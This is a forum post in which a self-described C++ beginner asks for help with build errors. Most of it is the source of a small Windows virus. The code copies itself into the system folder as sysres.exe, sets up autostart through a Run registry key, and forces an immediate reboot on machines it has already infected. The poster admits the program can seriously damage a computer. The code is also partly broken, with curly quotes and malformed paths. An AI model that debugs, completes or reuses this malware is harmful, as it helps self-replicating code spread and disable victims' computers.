C++ CONTSTANT ERRORS!

[Scream. 0]

Hello

 

I Need serious help. Every time i try something on C++ The build fails! I Dont know why! I Dont know much about C++ But i am quite willing to learn

 

Here is the source code for what i am trying at the moment: I Am not trying to circulate this and don't build this yourself because it can do serious damage to your computer:

 

#include<stdio.h>

#include<dos.h>

#include<dir.h>

 

int found,drive_no;char buff[128];

 

void findroot()

{

int done;

struct ffblk ffblk; //File block structure

done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive

if(done==0)

{

done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not

if(done==0)

{

found=1; //means that the system is already infected

return;

}

drive_no=1;

return;

}

done=findfirst(“\\windows\\system”,&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst(“\\windows\\system\\sysres.exe”,&ffblk,0);

if

(done==0)

{

found=1;return;

}

drive_no=2;

return;

}

done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive_no=3;

return;

}

done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive_no=4;

return;

}

else

exit(0);

}

 

void main()

{

FILE *self,*target;

findroot();

if(found==0) //if the system is not already infected

{

self=fopen(_argv[0],”rb”); //The virus file open’s itself

switch(drive_no)

{

case 1:

target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place

system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup

break;

 

case 2:

target=fopen(“\\windows\\system\\sysres.exe”,”wb”);

system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

\\windows\\system\\sysres.exe”);

break;

 

case 3:

target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);

system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

E:\\windows\\system\\sysres.exe”);

break;

 

case 4:

target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);

system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

CurrentVersion\\Run \/v sres \/t REG_SZ \/d

F:\\windows\\system\\sysres.exe”);

break;

 

default:

exit(0);

}

 

while(fread(buff,1,1,self)>0)

fwrite(buff,1,1,target);

fcloseall();

}

 

else

system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart

}
